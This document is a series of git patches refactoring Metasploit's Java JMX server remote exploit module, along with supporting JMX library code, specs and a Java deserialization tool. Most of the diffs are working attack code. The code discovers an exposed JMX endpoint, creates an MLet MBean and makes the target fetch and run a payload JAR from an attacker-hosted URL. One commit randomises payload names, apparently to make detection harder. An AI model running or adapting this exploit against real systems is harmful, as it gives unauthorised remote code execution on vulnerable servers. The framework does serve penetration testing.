@@ -100,17 +110,16 @@ class Metasploit3 < Msf::Exploit::Remote end def get_mbean_server - print_status("#{peer} - Sending RMI Header...") connect + print_status("#{peer} - Sending RMI Header...") send_header ack = recv_protocol_ack if ack.nil? fail_with(Failure::NoTarget, "#{peer} - Filed to negotiate RMI protocol") end - vprint_status("#{peer} - Sending JMXRMI discovery call...") - + print_status("#{peer} - Sending JMXRMI discovery call...") send_call(call_data: discovery_stream) return_data = recv_return disconnect @@ -146,19 +155,19 @@ class Metasploit3 < Msf::Exploit::Remote def exploit_mbean_server(mbean) print_good("#{peer} - JMX MBean server endpoint found on #{mbean[:address]}:#{mbean[:port]}, connecting...") - server_sock = connect(false, { 'RPORT' => mbean[:address], 'RPORT' => mbean[:port] }) + server_sock = connect(true, { 'RPORT' => mbean[:address], 'RPORT' => mbean[:port] }) - send_header(sock: server_sock) - ack = recv_protocol_ack(sock: server_sock) + send_header + ack = recv_protocol_ack if ack.nil? fail_with(Failure::NotFound ,"#{peer} - Filed to negotiate RMI protocol") end print_status("#{peer} - Sending handshake / authentication...") - send_call(sock: server_sock, call_data: handshake_stream(mbean[:id].chop)) + send_call(call_data: handshake_stream(mbean[:id].chop)) - return_data = recv_return(sock: server_sock) + return_data = recv_return if return_data.nil? fail_with(Failure::Unknown, "#{peer} - Failed to send handshake") @@ -185,8 +194,8 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Getting JMXPayload instance...") my_stream = get_object_instance_stream(obj_id: conn_stub[:id].chop , name: 'MLetCompromise:name=jmxpayload,id=1') - send_call(sock: server_sock, call_data: my_stream) - return_data = recv_return(sock: server_sock) + send_call(call_data: my_stream) + return_data = recv_return if return_data.nil? fail_with(Failure::Unknown, "#{peer} - The request to getObjectInstance failed") @@ -201,7 +210,7 @@ class Metasploit3 < Msf::Exploit::Remote case answer when 'javax.management.InstanceNotFoundException' print_warning("#{peer} - JMXPayload instance not found, trying to load") - load_payload(server_sock, conn_stub) + load_payload(conn_stub) when 'javax.management.ObjectInstance' print_good("#{peer} - JMXPayload instance found, using it") else @@ -214,19 +223,19 @@ class Metasploit3 < Msf::Exploit::Remote object: 'MLetCompromise:name=jmxpayload,id=1', method: 'run' ) - send_call(sock: server_sock, call_data: my_stream) + send_call(call_data: my_stream) disconnect(server_sock) end - def load_payload(server_sock, conn_stub) + def load_payload(conn_stub) print_status("Starting service...") start_service print_status("#{peer} - Creating javax.management.loading.MLet MBean...") create_mbean = create_mbean_stream(obj_id: conn_stub[:id].chop, name: 'javax.management.loading.MLet') - send_call(sock: server_sock, call_data: create_mbean) - return_data = recv_return(sock: server_sock) + send_call(call_data: create_mbean) + return_data = recv_return answer = extract_object(return_data, 1) if answer.nil? @@ -246,8 +255,8 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Getting javax.management.loading.MLet instance...") my_stream = get_object_instance_stream(obj_id: conn_stub[:id].chop , name: 'DefaultDomain:type=MLet') - send_call(sock: server_sock, call_data: my_stream) - return_data = recv_return(sock: server_sock) + send_call(call_data: my_stream) + return_data = recv_return if return_data.nil? fail_with(Failure::Unknown, "#{peer} - The request to getObjectInstance failed") @@ -276,8 +285,8 @@ class Metasploit3 < Msf::Exploit::Remote method: 'getMBeansFromURL', args: { 'java.lang.String' => "#{get_uri}/mlet" } ) - send_call(sock: server_sock, call_data: my_stream) - return_data = recv_return(sock: server_sock) + send_call(call_data: my_stream) + return_data = recv_return if return_data.nil? fail_with(Failure::Unknown, "#{peer} - The call to getMBeansFromURL failed") From 2de2e657f003bd34e550e81c952a0e9b64dd60cd Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 20 Jan 2015 23:44:33 -0600 Subject: [PATCH 077/103] Refactor get_mbean_server --- .../exploits/multi/misc/java_jmx_server.rb | 153 +++++++++++++----- 1 file changed, 111 insertions(+), 42 deletions(-) diff --git a/modules/exploits/multi/misc/java_jmx_server.rb b/modules/exploits/multi/misc/java_jmx_server.rb index 54b3c20138..6ddbd19e90 100644 --- a/modules/exploits/multi/misc/java_jmx_server.rb +++ b/modules/exploits/multi/misc/java_jmx_server.rb @@ -100,62 +100,34 @@ class Metasploit3 < Msf::Exploit::Remote return Exploit::CheckCode::Safe end + mbean end def exploit - mbean = get_mbean_server - - exploit_mbean_server(mbean) - end - - def get_mbean_server connect print_status("#{peer} - Sending RMI Header...") - send_header - ack = recv_protocol_ack - if ack.nil? + unless is_rmi? fail_with(Failure::NoTarget, "#{peer} - Filed to negotiate RMI protocol") end - print_status("#{peer} - Sending JMXRMI discovery call...") - send_call(call_data: discovery_stream) - return_data = recv_return + print_status("#{peer} - Discoverig the JMXRMI endpoint...") + mbean_server = discover_endpoint disconnect - - if return_data.nil? - fail_with(Failure::Unknown, "#{peer} - Failed to discover the JMX endpoint") - end - - answer = extract_object(return_data, 1) - - if answer.nil? - fail_with(Failure::Unknown, "#{peer} - Unexpected JMXRMI discovery answer") - end - - case answer - when 'javax.management.remote.rmi.RMIServerImpl_Stub' - print_good("#{peer} - RMIServerImpl_Stub instance found, using it") - else - fail_with(Failure::Unknown, "#{peer} - JMXRMI discovery returned unexpected object #{answer}") - end - - print_status("#{peer} - Extracting MBean Server...") - - mbean_server = extract_unicast_ref(StringIO.new(return_data.contents[2].contents)) - if mbean_server.nil? - fail_with("#{peer} - Failed to extract the JMX MBean server endpoint") + fail_with(Failure::NoTarget, "#{peer} - Failed to discover the JMXRMI endpoint") + else + print_good("#{peer} - JMXRMI endpoint on #{mbean_server[:host]}:#{mbean_server[:port]}") end - mbean_server + exploit_mbean_server(mbean_server) end def exploit_mbean_server(mbean) print_good("#{peer} - JMX MBean server endpoint found on #{mbean[:address]}:#{mbean[:port]}, connecting...") - server_sock = connect(true, { 'RPORT' => mbean[:address], 'RPORT' => mbean[:port] }) + connect(true, { 'RPORT' => mbean[:address], 'RPORT' => mbean[:port] }) send_header ack = recv_protocol_ack @@ -210,7 +182,7 @@ class Metasploit3 < Msf::Exploit::Remote case answer when 'javax.management.InstanceNotFoundException' print_warning("#{peer} - JMXPayload instance not found, trying to load") - load_payload(conn_stub) + load_payload_from_url(conn_stub) when 'javax.management.ObjectInstance' print_good("#{peer} - JMXPayload instance found, using it") else @@ -225,10 +197,107 @@ class Metasploit3 < Msf::Exploit::Remote ) send_call(call_data: my_stream) - disconnect(server_sock) + disconnect + end + + def is_rmi? + send_header + ack = recv_protocol_ack + if ack.nil? + return false + end + + true + end + + def discover_endpoint + send_call(call_data: discovery_stream) + return_data = recv_return + + if return_data.nil? + vprint_error("#{peer} - Discovery request didn't answer") + return nil + end + + answer = extract_object(return_data, 1) + + if answer.nil? + vprint_error("#{peer} - Unexpected JMXRMI discovery answer") + return nil + end + + case answer + when 'javax.management.remote.rmi.RMIServerImpl_Stub' + mbean_server = extract_unicast_ref(StringIO.new(return_data.contents[2].contents)) + else + vprint_error("#{peer} - JMXRMI discovery returned unexpected object #{answer}") + return nil + end + + mbean_server + end + + def handshake(mbean) + vprint_status("#{peer} - Sending handshake / authentication...") + + send_call(call_data: handshake_stream(mbean[:id].chop)) + return_data = recv_return + + if return_data.nil? + vprint_error("#{peer} - Failed to send handshake") + return nil + end + + answer = extract_object(return_data, 1) + + if answer.nil? + vprint_error("#{peer} - Unexpected handshake answer") + return nil + end + + case answer + when 'java.lang.SecurityException' + vprint_error("#{peer} - JMX end point requires authentication, but it failed") + return nil + when 'javax.management.remote.rmi.RMIConnectionImpl_Stub' + vprint_good("#{peer} - Handshake completed, proceeding...") + conn_stub = extract_unicast_ref(StringIO.new(return_data.contents[2].contents)) + else + vprint_error("#{peer} - Handshake returned unexpected object #{answer}") + return nil + end + + conn_stub end def load_payload(conn_stub) + print_status("#{peer} - Getting JMXPayload instance...") + my_stream = get_object_instance_stream(obj_id: conn_stub[:id].chop , name: 'MLetCompromise:name=jmxpayload,id=1') + send_call(call_data: my_stream) + return_data = recv_return + + if return_data.nil? + fail_with(Failure::Unknown, "#{peer} - The request to getObjectInstance failed") + end + + answer = extract_object(return_data, 1) + + if answer.nil? + fail_with(Failure::Unknown, "#{peer} - Unexpected getObjectInstance answer") + end + + case answer + when 'javax.management.InstanceNotFoundException' + print_warning("#{peer} - JMXPayload instance not found, trying to load") + return load_payload_from_url(conn_stub) + when 'javax.management.ObjectInstance' + print_good("#{peer} - JMXPayload instance found, using it") + else + fail_with(Failure::Unknown, "#{peer} - getObjectInstance returned unexpected object #{answer}") + end + end + + def load_payload_from_url(conn_stub) print_status("Starting service...") start_service @@ -288,6 +357,9 @@ class Metasploit3 < Msf::Exploit::Remote send_call(call_data: my_stream) return_data = recv_return + print_status("Stopping service...") + stop_service + if return_data.nil? fail_with(Failure::Unknown, "#{peer} - The call to getMBeansFromURL failed") end @@ -306,9 +378,6 @@ class Metasploit3 < Msf::Exploit::Remote else fail_with(Failure::Unknown, "#{peer} - getMBeansFromURL returned unexpected object #{answer}") end - - print_status("Stopping service...") - stop_service end end From a996efc807602d4fe1779db807c2abafd1faf2e4 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 21 Jan 2015 00:07:00 -0600 Subject: [PATCH 078/103] Refactor exploit code --- .../exploits/multi/misc/java_jmx_server.rb | 171 ++++++++---------- 1 file changed, 71 insertions(+), 100 deletions(-) diff --git a/modules/exploits/multi/misc/java_jmx_server.rb b/modules/exploits/multi/misc/java_jmx_server.rb index 6ddbd19e90..d3b2c242ab 100644 --- a/modules/exploits/multi/misc/java_jmx_server.rb +++ b/modules/exploits/multi/misc/java_jmx_server.rb @@ -109,7 +109,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Sending RMI Header...") unless is_rmi? - fail_with(Failure::NoTarget, "#{peer} - Filed to negotiate RMI protocol") + fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol") end print_status("#{peer} - Discoverig the JMXRMI endpoint...") @@ -118,84 +118,34 @@ class Metasploit3 < Msf::Exploit::Remote if mbean_server.nil? fail_with(Failure::NoTarget, "#{peer} - Failed to discover the JMXRMI endpoint") else - print_good("#{peer} - JMXRMI endpoint on #{mbean_server[:host]}:#{mbean_server[:port]}") + print_good("#{peer} - JMXRMI endpoint on #{mbean_server[:address]}:#{mbean_server[:port]}") end - exploit_mbean_server(mbean_server) - end - - def exploit_mbean_server(mbean) - print_good("#{peer} - JMX MBean server endpoint found on #{mbean[:address]}:#{mbean[:port]}, connecting...") - - connect(true, { 'RPORT' => mbean[:address], 'RPORT' => mbean[:port] }) - - send_header - ack = recv_protocol_ack - if ack.nil? - fail_with(Failure::NotFound ,"#{peer} - Filed to negotiate RMI protocol") + connect(true, { 'RPORT' => mbean_server[:address], 'RPORT' => mbean_server[:port] }) + unless is_rmi? + fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol with the MBean server") end - print_status("#{peer} - Sending handshake / authentication...") - - send_call(call_data: handshake_stream(mbean[:id].chop)) - - return_data = recv_return - - if return_data.nil? - fail_with(Failure::Unknown, "#{peer} - Failed to send handshake") - end - - answer = extract_object(return_data, 1) - - if answer.nil? - fail_with(Failure::Unknown, "#{peer} - Unexpected handshake answer") - end - - case answer - when 'java.lang.SecurityException' - fail_with(Failure::NoAccess, "#{peer} - JMX end point requires authentication, but it failed") - when 'javax.management.remote.rmi.RMIConnectionImpl_Stub' - print_good("#{peer} - Handshake completed, proceeding...") - conn_stub = extract_unicast_ref(StringIO.new(return_data.contents[2].contents)) - if conn_stub.nil? - fail_with(Failure::Unknown, "#{peer} - Failed to extract the UnicastRef information") - end + print_status("#{peer} - Proceeding with handshake...") + jmx_endpoint = handshake(mbean_server) + if jmx_endpoint.nil? + fail_with(Failure::NoTarget, "#{peer} - Failed to handshake with the MBean server") else - fail_with(Failure::Unknown, "#{peer} - Handshake returned unexpected object #{answer}") + print_good("#{peer} - Handshake with JMX MBean server on #{jmx_endpoint[:address]}:#{jmx_endpoint[:port]}") end - print_status("#{peer} - Getting JMXPayload instance...") - my_stream = get_object_instance_stream(obj_id: conn_stub[:id].chop , name: 'MLetCompromise:name=jmxpayload,id=1') - send_call(call_data: my_stream) - return_data = recv_return - - if return_data.nil? - fail_with(Failure::Unknown, "#{peer} - The request to getObjectInstance failed") - end - - answer = extract_object(return_data, 1) - - if answer.nil? - fail_with(Failure::Unknown, "#{peer} - Unexpected getObjectInstance answer") - end - - case answer - when 'javax.management.InstanceNotFoundException' - print_warning("#{peer} - JMXPayload instance not found, trying to load") - load_payload_from_url(conn_stub) - when 'javax.management.ObjectInstance' - print_good("#{peer} - JMXPayload instance found, using it") - else - fail_with(Failure::Unknown, "#{peer} - getObjectInstance returned unexpected object #{answer}") + print_status("#{peer} - Loading payload...") + unless load_payload(jmx_endpoint) + fail_with(Failure::Unknown, "#{peer} - Failed to load the payload") end print_status("#{peer} - Executing payload...") - my_stream = invoke_stream( - obj_id: conn_stub[:id].chop, - object: 'MLetCompromise:name=jmxpayload,id=1', - method: 'run' + invoke_run_stream = invoke_stream( + obj_id: jmx_endpoint[:id].chop, + object: 'MLetCompromise:name=jmxpayload,id=1', + method: 'run' ) - send_call(call_data: my_stream) + send_call(call_data: invoke_run_stream) disconnect end @@ -271,112 +221,133 @@ class Metasploit3 < Msf::Exploit::Remote end def load_payload(conn_stub) - print_status("#{peer} - Getting JMXPayload instance...") - my_stream = get_object_instance_stream(obj_id: conn_stub[:id].chop , name: 'MLetCompromise:name=jmxpayload,id=1') - send_call(call_data: my_stream) + vprint_status("#{peer} - Getting JMXPayload instance...") + get_payload_instance = get_object_instance_stream(obj_id: conn_stub[:id].chop , name: 'MLetCompromise:name=jmxpayload,id=1') + send_call(call_data: get_payload_instance) return_data = recv_return if return_data.nil? - fail_with(Failure::Unknown, "#{peer} - The request to getObjectInstance failed") + vprint_error("#{peer} - The request to getObjectInstance failed") + return false end answer = extract_object(return_data, 1) if answer.nil? - fail_with(Failure::Unknown, "#{peer} - Unexpected getObjectInstance answer") + vprint_error("#{peer} - Unexpected getObjectInstance answer") + return false end case answer when 'javax.management.InstanceNotFoundException' - print_warning("#{peer} - JMXPayload instance not found, trying to load") + vprint_warning("#{peer} - JMXPayload instance not found, trying to load") return load_payload_from_url(conn_stub) when 'javax.management.ObjectInstance' - print_good("#{peer} - JMXPayload instance found, using it") + vprint_good("#{peer} - JMXPayload instance found, using it") + return true else - fail_with(Failure::Unknown, "#{peer} - getObjectInstance returned unexpected object #{answer}") + vprint_error("#{peer} - getObjectInstance returned unexpected object #{answer}") + return false end end def load_payload_from_url(conn_stub) - print_status("Starting service...") + vprint_status("Starting service...") start_service - print_status("#{peer} - Creating javax.management.loading.MLet MBean...") + vprint_status("#{peer} - Creating javax.management.loading.MLet MBean...") create_mbean = create_mbean_stream(obj_id: conn_stub[:id].chop, name: 'javax.management.loading.MLet') send_call(call_data: create_mbean) return_data = recv_return + + if return_data.nil? + vprint_error("#{peer} - The request to createMBean failed") + return false + end + answer = extract_object(return_data, 1) if answer.nil? - fail_with(Failure::Unknown, "#{peer} - Unexpected createMBean answer") + vprint_error("#{peer} - Unexpected createMBean answer") + return false end case answer when 'javax.management.InstanceAlreadyExistsException' - print_good("#{peer} - javax.management.loading.MLet already exists") + vprint_good("#{peer} - javax.management.loading.MLet already exists") when 'javax.management.ObjectInstance' - print_good("#{peer} - javax.management.loading.MLet created") + vprint_good("#{peer} - javax.management.loading.MLet created") when 'java.lang.SecurityException' - fail_with(Failure::NoAccess, "#{peer} - The provided user hasn't enough privileges") + vprint_error("#{peer} - The provided user hasn't enough privileges") + return false else - fail_with(Failure::Unknown, "#{peer} - createMBean returned unexpected object #{answer}") + vprint_error("#{peer} - createMBean returned unexpected object #{answer}") + return false end - print_status("#{peer} - Getting javax.management.loading.MLet instance...") - my_stream = get_object_instance_stream(obj_id: conn_stub[:id].chop , name: 'DefaultDomain:type=MLet') - send_call(call_data: my_stream) + vprint_status("#{peer} - Getting javax.management.loading.MLet instance...") + get_mlet_instance = get_object_instance_stream(obj_id: conn_stub[:id].chop , name: 'DefaultDomain:type=MLet') + send_call(call_data: get_mlet_instance) return_data = recv_return if return_data.nil? - fail_with(Failure::Unknown, "#{peer} - The request to getObjectInstance failed") + vprint_error("#{peer} - The request to getObjectInstance failed") + return false end answer = extract_object(return_data, 1) if answer.nil? - fail_with(Failure::Unknown, "#{peer} - Unexpected getObjectInstance answer") + vprint_error("#{peer} - Unexpected getObjectInstance answer") + return false end case answer when 'javax.management.InstanceAlreadyExistsException' - print_good("#{peer} - javax.management.loading.MLet already found") + vprint_good("#{peer} - javax.management.loading.MLet already found") when 'javax.management.ObjectInstance' - print_good("#{peer} - javax.management.loading.MLet instance created") + vprint_good("#{peer} - javax.management.loading.MLet instance created") else - fail_with(Failure::Unknown, "#{peer} - getObjectInstance returned unexpected object #{answer}") + vprint_error("#{peer} - getObjectInstance returned unexpected object #{answer}") + return false end - print_status("#{peer} - Loading MBean Payload with javax.management.loading.MLet#getMBeansFromURL...") + vprint_status("#{peer} - Loading MBean Payload with javax.management.loading.MLet#getMBeansFromURL...") - my_stream = invoke_stream( + invoke_mlet_get_mbean_from_url = invoke_stream( obj_id: conn_stub[:id].chop, object: 'DefaultDomain:type=MLet', method: 'getMBeansFromURL', args: { 'java.lang.String' => "#{get_uri}/mlet" } ) - send_call(call_data: my_stream) + send_call(call_data: invoke_mlet_get_mbean_from_url) return_data = recv_return - print_status("Stopping service...") + vprint_status("Stopping service...") stop_service if return_data.nil? - fail_with(Failure::Unknown, "#{peer} - The call to getMBeansFromURL failed") + vprint_error("#{peer} - The call to getMBeansFromURL failed") + return false end answer = extract_object(return_data, 3) if answer.nil? - fail_with(Failure::Unknown, "#{peer} - Unexpected getMBeansFromURL answer") + vprint_error("#{peer} - Unexpected getMBeansFromURL answer") + return false end case answer when 'javax.management.InstanceAlreadyExistsException' - print_good("#{peer} - The remote payload was already loaded... okey, using it!") + vprint_good("#{peer} - The remote payload was already loaded... okey, using it!") + return true when 'javax.management.ObjectInstance' - print_good("#{peer} - The remote payload has been loaded!") + vprint_good("#{peer} - The remote payload has been loaded!") + return true else - fail_with(Failure::Unknown, "#{peer} - getMBeansFromURL returned unexpected object #{answer}") + vprint_error("#{peer} - getMBeansFromURL returned unexpected object #{answer}") + return false end end From 37ed1b1e62f9968ab2b15b8517709a3657540ec4 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 21 Jan 2015 00:14:46 -0600 Subject: [PATCH 079/103] Delete default values for datastore options --- lib/msf/jmx.rb | 4 +-- .../exploits/multi/misc/java_jmx_server.rb | 26 +++++++++++++++---- 2 files changed, 23 insertions(+), 7 deletions(-) diff --git a/lib/msf/jmx.rb b/lib/msf/jmx.rb index ece6d76366..04cae3549b 100644 --- a/lib/msf/jmx.rb +++ b/lib/msf/jmx.rb @@ -19,8 +19,8 @@ module Msf register_options( [ - Msf::OptString.new('JMX_ROLE', [false, 'The role to interact with an authenticated JMX endpoint', '/']), - Msf::OptString.new('JMX_PASSWORD', [false, 'The password to interact with an authenticated JMX endpoint', '/']) + Msf::OptString.new('JMX_ROLE', [false, 'The role to interact with an authenticated JMX endpoint']), + Msf::OptString.new('JMX_PASSWORD', [false, 'The password to interact with an authenticated JMX endpoint']) ], HTTP::Wordpress ) end diff --git a/modules/exploits/multi/misc/java_jmx_server.rb b/modules/exploits/multi/misc/java_jmx_server.rb index d3b2c242ab..e77475f551 100644 --- a/modules/exploits/multi/misc/java_jmx_server.rb +++ b/modules/exploits/multi/misc/java_jmx_server.rb @@ -20,8 +20,8 @@ class Metasploit3 < Msf::Exploit::Remote allow loading classes from any remote (HTTP) URL. JMX interfaces with authentication disabled (com.sun.management.jmxremote.authenticate=false) should be vulnerable, while interfaces with authentication enabled will be vulnerable only if a weak configuration - is deployed, allowing to use javax.management.loading.MLet, or having a security manager - allowing to load a ClassLoader MBean. + is deployed (allowing to use javax.management.loading.MLet, having a security manager + allowing to load a ClassLoader MBean, etc.). }, 'Author' => [ @@ -94,14 +94,30 @@ class Metasploit3 < Msf::Exploit::Remote end def check - mbean = get_mbean_server + connect - unless mbean + unless is_rmi? return Exploit::CheckCode::Safe end + mbean_server = discover_endpoint + disconnect + if mbean_server.nil? + return Exploit::CheckCode::Safe + end - mbean + connect(true, { 'RPORT' => mbean_server[:address], 'RPORT' => mbean_server[:port] }) + unless is_rmi? + return Exploit::CheckCode::Unknown + end + + jmx_endpoint = handshake(mbean_server) + disconnect + if jmx_endpoint.nil? + return Exploit::CheckCode::Detected + end + + Exploit::CheckCode::Appears end def exploit From c866caac43761f6fd0b594e0462ec2973cad37df Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 21 Jan 2015 00:36:34 -0600 Subject: [PATCH 080/103] Randomize MLet name --- modules/exploits/multi/misc/java_jmx_server.rb | 13 ++++++------- 1 file changed, 6 insertions(+), 7 deletions(-) diff --git a/modules/exploits/multi/misc/java_jmx_server.rb b/modules/exploits/multi/misc/java_jmx_server.rb index e77475f551..5c2085eff0 100644 --- a/modules/exploits/multi/misc/java_jmx_server.rb +++ b/modules/exploits/multi/misc/java_jmx_server.rb @@ -52,20 +52,18 @@ class Metasploit3 < Msf::Exploit::Remote )) register_options([ - Opt::RPORT(1617), - OptString.new('USERNAME', [false, 'Username to use']), - OptString.new('PASSWORD', [false, 'Password to use']), + Opt::RPORT(1617) ], self.class) end def on_request_uri(cli, request) if request.uri =~ /mlet$/ - jar = 'compromise.jar' + jar = "#{rand_text_alpha(8 + rand(8))}.jar" mlet = "" send_response(cli, mlet, { @@ -121,6 +119,7 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit + @mlet = "MLet#{rand_text_alpha(8 + rand(4)).capitalize}" connect print_status("#{peer} - Sending RMI Header...") @@ -158,7 +157,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Executing payload...") invoke_run_stream = invoke_stream( obj_id: jmx_endpoint[:id].chop, - object: 'MLetCompromise:name=jmxpayload,id=1', + object: "#{@mlet}:name=jmxpayload,id=1", method: 'run' ) send_call(call_data: invoke_run_stream) @@ -238,7 +237,7 @@ class Metasploit3 < Msf::Exploit::Remote def load_payload(conn_stub) vprint_status("#{peer} - Getting JMXPayload instance...") - get_payload_instance = get_object_instance_stream(obj_id: conn_stub[:id].chop , name: 'MLetCompromise:name=jmxpayload,id=1') + get_payload_instance = get_object_instance_stream(obj_id: conn_stub[:id].chop , name: "#{@mlet}:name=jmxpayload,id=1") send_call(call_data: get_payload_instance) return_data = recv_return From 81d0eca45ba39d514f98dc57fe4d4ea470e029d9 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 21 Jan 2015 00:57:50 -0600 Subject: [PATCH 081/103] Fix Msf::Jmx::Handshake specs --- spec/lib/msf/jmx/handshake_spec.rb | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/spec/lib/msf/jmx/handshake_spec.rb b/spec/lib/msf/jmx/handshake_spec.rb index 0039d23801..c4f279873e 100644 --- a/spec/lib/msf/jmx/handshake_spec.rb +++ b/spec/lib/msf/jmx/handshake_spec.rb @@ -15,10 +15,7 @@ describe Msf::Jmx::Handshake do let(:handshake_stream) do "\xac\xed\x00\x05\x77\x0d\x30\xff\xff\xff\xff\xf0\xe0\x74\xea\xad" + - "\x0c\xae\xa8\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61" + - "\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7\xe9\x1d" + - "\x7b\x47\x02\x00\x00\x70\x78\x70\x00\x00\x00\x02\x74\x00\x01\x2f" + - "\x74\x00\x01\x2f" + "\x0c\xae\xa8\x70" end let(:auth_stream) do From f85890a2495776eac416df1bbabc425086a25984 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 21 Jan 2015 00:58:32 -0600 Subject: [PATCH 082/103] Change specs filename --- .../jmx/mbean/{server_connection.rb => server_connection_spec.rb} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename spec/lib/msf/jmx/mbean/{server_connection.rb => server_connection_spec.rb} (100%) diff --git a/spec/lib/msf/jmx/mbean/server_connection.rb b/spec/lib/msf/jmx/mbean/server_connection_spec.rb similarity index 100% rename from spec/lib/msf/jmx/mbean/server_connection.rb rename to spec/lib/msf/jmx/mbean/server_connection_spec.rb From c33e5faed33574b3f8e15cec32fb80da10f6f5fc Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 21 Jan 2015 01:00:45 -0600 Subject: [PATCH 083/103] Change namespace --- lib/msf/jmx.rb | 2 +- lib/msf/jmx/mbean.rb | 4 ++-- lib/msf/jmx/mbean/server_connection.rb | 2 +- spec/lib/msf/jmx/mbean/server_connection_spec.rb | 2 +- 4 files changed, 5 insertions(+), 5 deletions(-) diff --git a/lib/msf/jmx.rb b/lib/msf/jmx.rb index 04cae3549b..009fe0b446 100644 --- a/lib/msf/jmx.rb +++ b/lib/msf/jmx.rb @@ -12,7 +12,7 @@ module Msf include Msf::Jmx::Util include Msf::Jmx::Discovery include Msf::Jmx::Handshake - include Msf::Jmx::MBean + include Msf::Jmx::Mbean def initialize(info = {}) super diff --git a/lib/msf/jmx/mbean.rb b/lib/msf/jmx/mbean.rb index ccee2cfc50..9bc0c8d713 100644 --- a/lib/msf/jmx/mbean.rb +++ b/lib/msf/jmx/mbean.rb @@ -2,10 +2,10 @@ module Msf module Jmx - module MBean + module Mbean require 'msf/jmx/mbean/server_connection' - include Msf::Jmx::MBean::ServerConnection + include Msf::Jmx::Mbean::ServerConnection end end end diff --git a/lib/msf/jmx/mbean/server_connection.rb b/lib/msf/jmx/mbean/server_connection.rb index ab8abb709d..3ee6f78390 100644 --- a/lib/msf/jmx/mbean/server_connection.rb +++ b/lib/msf/jmx/mbean/server_connection.rb @@ -2,7 +2,7 @@ module Msf module Jmx - module MBean + module Mbean # This module provides methods which help to handle with MBean related calls. # Specially, simulating calls with the Java javax.management.MBeanServerConnection # class diff --git a/spec/lib/msf/jmx/mbean/server_connection_spec.rb b/spec/lib/msf/jmx/mbean/server_connection_spec.rb index 9d2487fbb3..6d8d2f0a63 100644 --- a/spec/lib/msf/jmx/mbean/server_connection_spec.rb +++ b/spec/lib/msf/jmx/mbean/server_connection_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'rex/java' require 'msf/jmx' -describe Msf::Jmx::MBean::ServerConnection do +describe Msf::Jmx::Mbean::ServerConnection do subject(:mod) do mod = ::Msf::Exploit.new mod.extend ::Msf::Jmx From 5c413a8102ca48540c246bc9bbe573805616691f Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 22 Jan 2015 14:50:12 -0600 Subject: [PATCH 084/103] Add support to print objects, arrays and classes details --- tools/java_deserializer.rb | 87 ++++++++++++++++++++++++++++++++++++-- 1 file changed, 84 insertions(+), 3 deletions(-) diff --git a/tools/java_deserializer.rb b/tools/java_deserializer.rb index b78d2a3cf3..3547e7b9ce 100755 --- a/tools/java_deserializer.rb +++ b/tools/java_deserializer.rb @@ -13,6 +13,7 @@ end $:.unshift(File.expand_path(File.join(File.dirname(msf_base), '..', 'lib'))) require 'rex/java/serialization' require 'pp' +require 'optparse' # This class allows to deserialize Java Streams from # files @@ -31,7 +32,7 @@ class JavaDeserializer # # @return [Rex::Java::Serialization::Model::Stream] if succeeds # @return [nil] if error - def run + def run(options = {}) if file.nil? print_error("file path with serialized java stream required") return @@ -49,7 +50,13 @@ class JavaDeserializer return end - puts stream + if options[:array] + print_array(stream.contents[options[:array].to_i]) + elsif options[:object] + print_object(stream.contents[options[:object].to_i]) + else + puts stream + end end private @@ -75,9 +82,83 @@ class JavaDeserializer def print_line $stdout.puts("\n") end + + # @param [Rex::Java::Serialization::Model::NewObject] obj the object to print + # @param [Fixnum] level the indentation level when printing super classes + def print_object(obj, level = 0) + prefix = " " * level + if obj.class_desc.description.class == Rex::Java::Serialization::Model::NewClassDesc + puts "#{prefix}Object Class Description:" + print_class(obj.class_desc.description, level + 1) + else + puts "#{prefix}Object Class Description: #{obj.class_desc.description}" + end + puts "#{prefix}Object Data: #{obj.class_data}" + end + + # @param [Rex::Java::Serialization::Model::NewClassDesc] c the class to print + # @param [Fixnum] level the indentation level when printing super classes + def print_class(c, level = 0) + prefix = " " * level + puts "#{prefix}Class Name: #{c.class_name}" + puts "#{prefix}Serial Version: #{c.serial_version}" + puts "#{prefix}Flags: #{c.flags}" + puts "#{prefix}Fields ##{c.fields.length}" + c.fields.each do |f| + puts "#{prefix}Field: #{f}" + end + puts "#{prefix}Class Annotations ##{c.class_annotation.contents.length}" + c.class_annotation.contents.each do |c| + puts "#{prefix}Annotation: #{c}" + end + puts "#{prefix}Super Class: #{c.super_class}" + if c.super_class.description.class == Rex::Java::Serialization::Model::NewClassDesc + print_class(c.super_class.description, level + 1) + end + end + + # @param [Rex::Java::Serialization::Model::NewArray] arr the array to print + # @param [Fixnum] level the indentation level when printing super classes + def print_array(arr, level = 0) + prefix = " " * level + puts "#{prefix}Array Description" + print_class(arr.array_description.description, 1) + puts "#{prefix}Array Type: #{arr.type}" + puts "#{prefix}Array Values ##{arr.values.length}" + arr.values.each do |v| + puts "Array value: #{prefix}#{v} (#{v.class})" + if v.class == Rex::Java::Serialization::Model::NewObject + print_object(v, level + 1) + end + end + end end if __FILE__ == $PROGRAM_NAME + + options = {} + OptionParser.new do |opts| + opts.banner = "Usage: java_deserializer.rb [option]" + + opts.on("-aID", "--array=ID", "Print detailed information about content array") do |id| + options[:array] = id + end + + opts.on("-oID", "--object=ID", "Print detailed information about content object") do |id| + options[:object] = id + end + + opts.on("-h", "--help", "Prints this help") do + puts opts + exit + end + end.parse! + + if options.length > 1 + 